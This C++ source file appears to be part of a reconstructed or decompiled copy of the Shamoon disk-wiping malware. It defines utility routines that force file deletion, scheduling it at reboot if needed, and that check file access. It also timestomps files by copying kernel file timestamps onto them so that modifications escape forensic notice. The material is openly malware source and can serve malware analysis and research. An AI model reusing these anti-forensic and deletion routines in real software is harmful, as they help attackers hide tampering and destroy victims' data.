// Copyright 2015 Christian Roggia. All rights reserved.
// Use of this source code is governed by an Apache 2.0 license that can be
// found in the LICENSE file.

#include "IO.h"
#include "System.h"

bool Shamoon::Utils::IO::ForceFileDeletion(LPCWSTR szFileName)
{
	if(!DeleteFileW(szFileName))
		MoveFileExW(szFileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);
	
	return true;
}

bool Shamoon::Utils::IO::IsFileAccessible(LPCWSTR szFileName)
{
	HANDLE hFile; // esi@1
	
	EXECUTE_WOW64_FILE_OPERATION
	(
		hFile = CreateFileW(szFileName, 0x80000000, 1, 0, 3, 0x100000, 0);
	)

	if(hFile == INVALID_HANDLE_VALUE)
		return false;
	
	CloseHandle(hFile);
	return true;
}

bool Shamoon::Utils::IO::SetReliableFileTime(LPCWSTR szFileName)
{
	HANDLE hFile;
	bool bTimeSet = false;
	
	if(!g_kernel_creation_time.dwLowDateTime || !szFileName)
		return false;
	
	EXECUTE_WOW64_FILE_OPERATION
	(
		hFile = CreateFileW(szFileName, 0xC0000000, FILE_SHARE_DELETE | FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OPEN_NO_RECALL, NULL);
	)
	
	if(hFile == INVALID_HANDLE_VALUE)
		return false;
	
	if(SetFileTime(hFile, &g_kernel_creation_time, &g_kernel_last_access_time, &g_kernel_last_write_time))
		bTimeSet = true;
	
	CloseHandle(hFile);
	return bTimeSet;
}